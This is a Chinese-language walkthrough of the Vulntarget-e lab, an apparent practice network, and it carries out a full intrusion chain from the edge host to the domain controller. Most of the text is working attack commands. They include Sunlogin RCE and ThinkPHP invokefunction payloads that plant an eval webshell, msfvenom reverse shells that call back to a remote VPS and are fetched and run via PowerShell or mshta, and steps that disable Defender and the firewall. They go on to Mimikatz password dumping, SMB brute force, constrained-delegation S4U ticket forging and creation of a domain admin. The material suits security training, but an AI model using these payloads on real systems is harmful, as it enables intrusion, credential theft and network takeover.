实验目标:
学习目标:低版本向日葵上线、绕windows server2016版本windows Defender、host碰撞、绕宝塔、绕端口限制、出站规则探测、绕过disable_function、mssql的利用、smb爆破、基于资源的约束委派、约束委派等等都可以尝试。
靶机下载:其中Vulntarget-e为本次实验机器
https://pan.baidu.com/s/1p3GDd7V3Unmq3-wSAvl7_Q
提取码: 1p9p
》》》靶机信息《《《
#攻击机
OS:Kali 2022.2
NIC:192.168.1.4
#向日葵机器
OS:Windows Server 2016
账密1:administrator/win2008
账密2:ash/qweASD123
防火墙开着,WDF开着
NIC1:192.168.1.5
NIC2:192.168.100.155
#Ubuntu
OS:Ubuntu
账密:vulntarget/0!;..123vuln
设置了防火墙规则
网站配置文件内设置了IP,所以IP需要固定
NIC:192.168.100.131
NIC:192.168.88.100
#域内主机
OS:Windows Server 2008R2
本地username:administrator
本地password:admin@123
域内username:win2008
域内password:qweASD123
数据库管理员
账号:sa
密码 :qweASD123
数据库普通用户权限
账号:test
密码:123.com
NIC1:192.168.88.102
NIC2:10.0.10.9
#域控主机
服务账户--》约束性委派
username:wins2016
password:qweASD123
Dusername:vulntarget\administrator
Dpassword:8A..;123admin
NIC1:10.0.10.10
一:边界主机
1.1:漏洞探测
步骤一:使用Nmap扫描目标主机确定开放的端口与对应的服务…发现其5985与49973端口开放;
#Nmap扫描
nmap -sC -sV -p 0-65535 -n -vv --min-rate=2000 192.168.1.5
-sV:版本探测
-vv:显示详细信息
-p 0-65535:探测其0-65535端口
--min-rate=2000:最小的发包速率
-sC:等价于–script=default,使用默认类别的脚本进行扫描 可更换其他类别
#49773端口返回
{"success":false,"msg":"Verification failure"}
步骤二:访问其49773
端口返回如上内容,可使用observer_ward
工具识别其指纹获取到 sunlogin 信息,初步判断为向日葵远程控制程序…
#程序下载
https://github.com/0x727/ObserverWard/releases/download/v2022.3.15/observer_ward_v2022.3.15_x86_64-unknown-linux-musl.tar.gz
tar -zxvf observer_ward_v2022.3.15_x86_64-unknown-linux-musl.tar.gz
#指纹库升级
./observer_ward -u
#指纹探测
./observer_ward -t http://192.168.4.150:49773/
步骤二:使用向日葵的Payload进行测试,首先获取其CID值并作为cookie
拼接执行命令的Payload的返回其执行命令结果,Success!
Sunlogin RCE 是漏洞发生在接口
/check
处,当参数cmd的值以ping或者nslookup开头时可以构造命令实现远程命令执行利用,客户端开启客户端会自动随机开启一个大于40000
的端口号。
#拼接路径
/cgi-bin/rpc?action=verify-haras //获取CID值
/check?cmd=ping../../../../../../../../../../../windows/system32/whoami //执行命令
#批量搜索
fofa:body="Verification failure" && port="49155"
步骤三:经过以上测试可以确定目标存在**CVND-2022-10270漏洞,**这里使用以下项目工具进行漏洞利用
#漏洞检测利用
https://github.com/j2ekim/sunlogin_rce //批量检测
https://github.com/1rm/SunloginClient_RCE //获取其交互式命令执行
https://github.com/ddwGeGe/SunloginRCE_GUITools //图形界面
#执行命令
python3 main.py -u 192.168.4.150 -p 49773 -e //获取目标的交互式接口
步骤三:在交互式接口中执行以下命令开始进行信息收集…
hostname --》 WIN-HHP4Q76IAO9
tasklist /svc --》 MsMpEng.exe-> Microsoft Security Essentials
ipconfig /all --》 192.168.4.150 192.168.100.155 WorkGroup
pwd --》 C:\Windows\system32
dir C:\Users\ --》无域用户登陆痕迹
net user --》 本地账户:Administrator(管理员) ash(普通用户)
netsh advfirewall show allprofile state --》防火墙开启
netsh advfirewall set allprofiles state off --》关闭防火墙
#注解
因为这里的向日葵程序是system的权限,所以可以关闭防火墙
步骤四:用以上命令关闭掉防火墙后再次使用Nmap扫描可以看到能够扫描到其他的端口信息…
1.2:上线MSF
步骤五:在VPS上生成MSF后门并开启监听,这里通过PowerShell
方式下载后门到目标主机磁盘上运行上线…
#生成后门
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=101.42.118.221 lport=9292 -f exe -o eve.exe
#开启监听
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.0.20.3
set lport 9292
run
#Poewrshell下载
powershell(new-object System.Net.WebClient).DownloadFile('http://192.168.1.4:8080/123.exe','C:\Users\Administrator\a.exe')
powershell(new-object System.Net.WebClient).DownloadFile('http://101.42.118.221:8180/298.txt','C:\Program Files (x86)\BioSecurity\MainResource\tomcat\webapps\ROOT\298.txt')
#执行上线...
cd C:\Users\Administrator;dir
start C:\Users\Administrator\a.exe
-------------------------------分界线---------------------------------------------------
#生成后门
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=101.42.118.221 lport=9651 -f hta-psh -o 1.hta
#开启监听
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.0.20.3
set lport 9651
exploit -j
#开启服务
python2 -m SimpleHTTPServer 8000
#执行上线
mshta http://101.42.118.221:8000/1.hta
步骤六:这里在使用PowerShell进行文件下载的时候会发现有下载记录但是下载的文件被defender
杀掉,这里有两种处理的方式:1.程序免杀 2.关闭defender的实时保护
set-MpPreference -DisableRealtimeMonitoring $true //关闭defender实时保护
powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath \"C:\Users\Administrator\" //PowerShell策略绕过
步骤七:执行以下命令进行权限维持/下载敏感文件/并添加去往192.168.100.0/24网段的路由…
ps //查看进程
migrate pid //迁移进程,注意进程运行架构
cd C:\\Users\\Administrator\\Desktop //存在需要测试的地址.txt
download 需要测试的地址.txt /home/z4pts/桌面 //下载文件
#抓取密码
load kiwi
kiwi_cmd lsadump::sam
Administrator:388f586516a4cba963b4181363b44034 //解密:win2008
ash:96783bb69c00614e88f7d4688623c83a //解密:qweASD123
#添加路由
use post/multi/manage/autoroute
set session 1
run
or
run autoroute -s 192.168.100.0/24
run autoroute -p
步骤八:开启RDP并远程登陆…Over!
#开启远程
run post/windows/manage/enable_rdp
#远程连接
mstsc
二:内网Ubuntu
2.0:一级代理
步骤一:使用以下命令上传EW程序并做好Socks5代理并使用proxychains
进行测试…
#程序下载
upload /home/z4pts/桌面/ew.exe C:\\Users\\Administrator\\
#开启代理
C:\Users\Administrator\ew.exe -s ssocksd -l 8090
#配置代理
vi /etc/proxychains4.conf
socks5 192.168.1.5 8090
#测试代理
proxychains curl http://myip.ipip.net/ //开玩笑
步骤二:这里将Nmap扫描流量带入到内网并直扫131主机的开放端口…试想在有流量检测拦截设备的内网中该怎样突破?平常扫描攻击肯定是动静大且容易被捕获…
#执行命令
proxychains nmap -Pn -T4 -sT -p- 192.168.100.131
#开放端口
22/80/8888
步骤三:在火狐浏览器上挂上代理访问其内网主机的端口发现80端口回显Nginx的400错误,而8888端口为宝塔面板…尝试使用dirsearch对其80端口进行WEB敏感文件扫描…无果!
#访问地址
http://192.168.100.131:80/
http://192.168.100.131:8888/
#扫描命令
python3 dirsearch.py -u http://192.168.100.131/ --proxy socks5://192.168.1.5:8090
步骤四:扫描目录并未有发现尝试在边界主机上查看浏览器的历史记录执行以下命令获取可发现TP框架…
#meterpreter
run post/windows/gather/forensics/browser_history
#记录位置
/root/.msf4/local/Administrator_Firefox_mpf91asw.default-release_places.sqlite
mv /root/.msf4/....sqlite /home/z4pts/桌面
#文件打开
选中文件右键--》用"SQLite database browser"打开 执行以下命令
SELECT url FROM moz_places
2.1:Host碰撞
步骤五:再次在浏览器中访问但都是返回400状态码…这里可以尝试与边界主机上发现的*.txt文件进行HOST碰撞攻击;备注: 在渗透测试中搜集了很多IP资产,端口也开放了WEB服务但打开总是403 404 400错误,扫目录也扫不到东西。这时候可以尝试利用HOSTS碰撞技术突破其边界对其内网系统进行攻击 !!!
#ThinkPHP地址连接
http://192.168.100.131/vulntarget/thinkphp
http://192.168.100.131/vulntarget/public/index.php
步骤六:下载以下项目并将获取的域名放到host.txt
并将IP地址放到ip.txt
中执行以下程序进行HOST碰撞
#项目地址
https://github.com/fofapro/Hosts_scan
#执行命令
proxychains python3 IP_hosts_scan_multithreading.py
#执行结果
192.168.100.131 --》 http://www.cJO6w10YLS.com
步骤七:在火狐浏览器上安装 Modheader
插件修改host头信息并再次访问其80端口如下页面
#修改字段
Host --》 www.cJO6w10YLS.com
步骤八:以上访问记录中存在TP框架再次访问报错页面显示其版本号,尝试POC执行命令均被禁用拦截…
http://192.168.100.131/vulntarget/public/index.php?s=1 //报错信息:V5.0.15
#POC
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami //system函数被禁用
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=sassert&vars[1][]=phpinfo() //被BTWAF拦截
2.2:GetShell
步骤九:尝试使用file_put_contents函数写文件且成功!直接GetShell…
#file_put_contents写文件
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.php&vars[1][1]=<?php $url = "php";$p ="info();";$c=$url.$p;assert($c);?> //无权限
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../123.php&vars[1][1]=<?php $url = "php";$p ="info();";$c=$url.$p;assert($c);?>
#GetShell
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=../../url.php&vars[1][1]=<?php%20eval(urldecode(urldecode(urldecode($_REQUEST[cmd]))));?>
#WebShell
http://192.168.100.131/url.php
步骤十:使用蚁剑连接配置代理并编写编码规则(因为以上POC是经过了3次URL解码,所需对攻击代码进行三次编码)且加入Host信息测试连接…成功!
#编码配置
AntSword-->编码设置-->编码管理-->新建编码器-->PHP-->在创建编码器命名为url-->点击编辑-->将以下代码贴入替换并保存!
#编码内容
'use strict';
// ########## 请在下方编写你自己的代码 ###################
function forceEncode(s) {
return Array.from(s).map(i=>'%'+i.charCodeAt(0).toString(16).padStart(2,'0')).join('')
}
module.exports = (pwd, data, ext={}) => {
const payload = data['_']
data[pwd] = forceEncode(forceEncode(payload));
delete data['_'];
console.log(data);
return data;
}
2.3:绕过disable_function
步骤十一:在命令终端中无法执行命令…这里尝试使用 php7-gc-bypass
绕过执行系统命令…
#项目地址
https://github.com/devil8123665/exploits/blob/master/php7-gc-bypass/exploit.php
在蚁剑中创建by.php并将以上项目文件的项目代码保存在浏览器访问...
#访问地址
http://192.168.100.131/by.php
步骤十二:以上可获取命令执行点…但比较麻烦在翻找/home目录时发现私钥文件…key
下载到Kali并尝试连接Ubuntu主机…
#私钥文件
/home/vulntarget/key
#连接命令
proxychains ssh -i key 192.168.100.131
步骤十三:执行以下命令进行信息收集…发现其内部还存在192.168.88.0/24
网段
id --》 UID:0
whoami --》root
ping www.baidu.com --》不出网
ifconfig --》 192.168.100.0/24 192.168.88.100/24
arp -a --》 192.168.88.102主机信息
ufw disable --》关闭防火墙,不然无法与边界主机进行正常通信!!!
iptables -L --》查看防火墙规则
2.4:上线MSF
步骤十四:生成MSF反向马并上传至边界主机,使用Ladon开启HTTP服务占用其3333
端口并Wget访问下载执行从而上线MSF
#边界主机
Import-Module .\Ladon.ps1
ladon web 3333 dir
C:\Windows\System32\WindowsPowerShell\v1.0\
#生成后门
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.100.155 LPORT=3333 -f elf > shell.elf
#开启监听
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.100.155
set lport 3333
run
#下载执行
wget http://192.168.100.155:3333/shell.elf -O shell.elf
#scp传递执行
proxychains scp -r -i key /home/z4pts/桌面/shell.elf root@192.168.100.131:/www/wwwroot/vulntarget-e2/1.elf
#添加路由
use post/multi/manage/autoroute
set session 2
run
步骤十五:以上步骤经过多次尝试失败发现防火墙中存在指定端口访问的策略…即限制;在此修改成功!!!
iptables -A INPUT -j ACCEPT
iptables -A OUTPUT -j ACCEPT
三:域内主机Wins08R2
3.1:二级代理
步骤一: 这里为了使kali攻击机能访问到192.168.88.0/24
网段的第三台主机需要要搭建二级代理。将 边界主机的2080 端口收到的 socks 代理请求转交给 ubuntu192.168.100.131
的主机 操作如下…
#边界主机
ew.exe -s lcx_tran -l 2080 -f 192.168.100.131 -g 9999
#文件上传
proxychains scp -r -i key /home/z4pts/桌面/ew root@192.168.100.131:/www/wwwroot/vulntarget-e2/ew
#内网主机
/root/ew -s ssocksd -l 9999 & //置于后台运行
#配置测试代理
vi /etc/proxychains4.conf
socks5 192.168.1.5 2080
proxychains curl http://192.168.88.100/
步骤二:这里挂代理开始扫描在ubuntu机器中收集到的102主机发现开放135和445端口!
proxychains nmap -Pn -sT -p1-65535 192.168.88.102
步骤三:这里尝试使用hydra对其SMB协议进行爆破…
proxychains hydra -l administrator -P password.txt 192.168.88.102 smb
3.2:内网横向
步骤四:根据以上爆破的结果使用Impacket中提供的wmiexec.py工具远程连接其命令执行环境获取交互式接口…
proxychains python3 wmiexec.py administrator@192.168.88.102
chcp 65001
步骤五:执行以下命令进行信息收集并开启关闭相对应的功能…
whoami //win-n4dk5rpd2qu\administrator
hostname //win-n4dk5rpd2qu
ipconfig /all //域:vulntarget.com 192.168.88.102/24 10.0.10.9/24
arp -a //10.0.10.10
netsh advfirewall set allprofiles state off //关闭防火墙
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f //开启3389端口
步骤六:在MSF上开启代理在外界windows主机上使用SocksCap64挂上代理访问远程桌面,如下成功!!!
#开启代理
use auxiliary/server/socks_proxy
show options
run
#主机信息
ip address:192.168.88.102
username:administrator
password:admin@123
3.3:上线MSF
步骤七:使用一下命令生成反向马并监听反弹,直接远程桌面复制过去上线成功…
#生成后门
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.88.100 LPORT=4444 -f exe > inside.exe
#开启监听
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.88.100
set lport 4444
run
四:域控主机Wins16
4.1:信息收集
步骤一:开始进行信息收集,上传猕猴桃到Wins08执行抓取到域用户明文密码…
ping vulntarget.com //10.0.10.10
#定位域控
meterpreter > run post/windows/gather/enum_domain
#MSF添加路由
use post/multi/manage/autoroute
set session 3
run
#MSF抓取密码
load kiwi
kiwi_cmd sekurlsa::logonpasswords
#Mimikatz
privilege::debug //提升权限
sekurlsa::logonpasswords //抓取明文密码
Domain user:win2008
Domain user password:qweASD123
步骤二:上传Adfind程序判断存在非与约束性委派属性的并发现第三台主机上的win2008
域账户对第四台主机10.10的CIFS
服务存在约束委派…
#查询域中配置非约束委派的主机
AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
#查询域中配置非约束委派的服务账户
AdFind.exe -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn
#茶渣
AdFind.exe -h 10.0.10.10 -u win2008 -up qweASD123 -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
4.2:约束性委派攻击
步骤三:上传kekeo
并用请求win2008的TGT接着伪造S4U请求,以administrator用户权限访问受委派的CIFS服务。
#请求约束性委派用户的TGT
tgt::ask /user:win2008 /domain:vulntarget.com /password:qweASD123 /ticket:ash.kirbi
#伪造S4U请求并访问CIFS服务
tgs::s4u /tgt:TGT_win2008@VULNTARGET.COM_krbtgt~vulntarget.com@VULNTARGET.COM.kirbi /user:Administrator@vulntarget.com /service:cifs/WIN-1PV25H8UJPN.vulntarget.com
步骤四:利用mimikatz
导入S4U2proxy阶段生成的ST并访问域控10.10主机(注意:导入一次ST执行一次命令)
#导入ST
privilege::debug
kerberos::ptt TGS_Administrator@vulntarget.com@VULNTARGET.COM_cifs~WIN-1PV25H8UJPN.vulntarget.com@VULNTARGET.COM.kirbi
exit
#执行命令
dir \\WIN-1PV25H8UJPN.vulntarget.com\C$
步骤五:执行以下命令创建域用户并将其添加到域管理员中,查看用户信息…
net user 4pts 123admiN@ /add /domain
net group "domain admins" 4pts /add /domain
net group "domain admins" /domain
4.2:三级代理
步骤六:这里为了访问到内网域控主机需要挂三级代理…并按照以下操作设置…
#边界主机(一层)
外网主机3777端口接收来自攻击机流量,7779接收来自3777端口流量
ew.exe -s lcx_listen -l 3777 -e 7779 -t 1000000
#Ubuntu主机(二层)
Ubuntu的7779端口获取外网主机7779端口的流量,3999端口接收7779端口的流量
./ew -s lcx_slave -d 192.168.100.155 -e 7779 -f 192.168.88.102 -g 3999 -t 1000000
#Wins08R2主机(三层)
第三台主机代理了来自3999端口的流量
ew.exe -s ssocksd -l 3999 -t 1000000
4.3:横向移动
步骤七:使用Impacket
中提供的wmiexec.py
工具远程执行,成功上线第四台主机!!!
proxychains python3 wmiexec.py 4pts:123admiN@@10.0.10.10
步骤八:生成反向马并上传之Wins08R2,使用以下项目开启HTTP服务并通过PowerShell下载执行
#开启监听
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.0.10.9
set lport 5555
run
#生成后门
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.10.9 LPORT=5555 -f exe > inside.exe
#上传执行
lput iinside.exe C:\iinside.exe
步骤九:至此结束,展示下全部靶机合照…
》》》参考文章《《《
https://mp.weixin.qq.com/s/eh8SXkgcSQjLkFEjNkkfHw
https://blog.csdn.net/m0_64317625/article/details/127823145
https://cloud.tencent.com/developer/article/2148788
https://www.yuque.com/oldbirdteam/zu0xxv/pct603#dXV90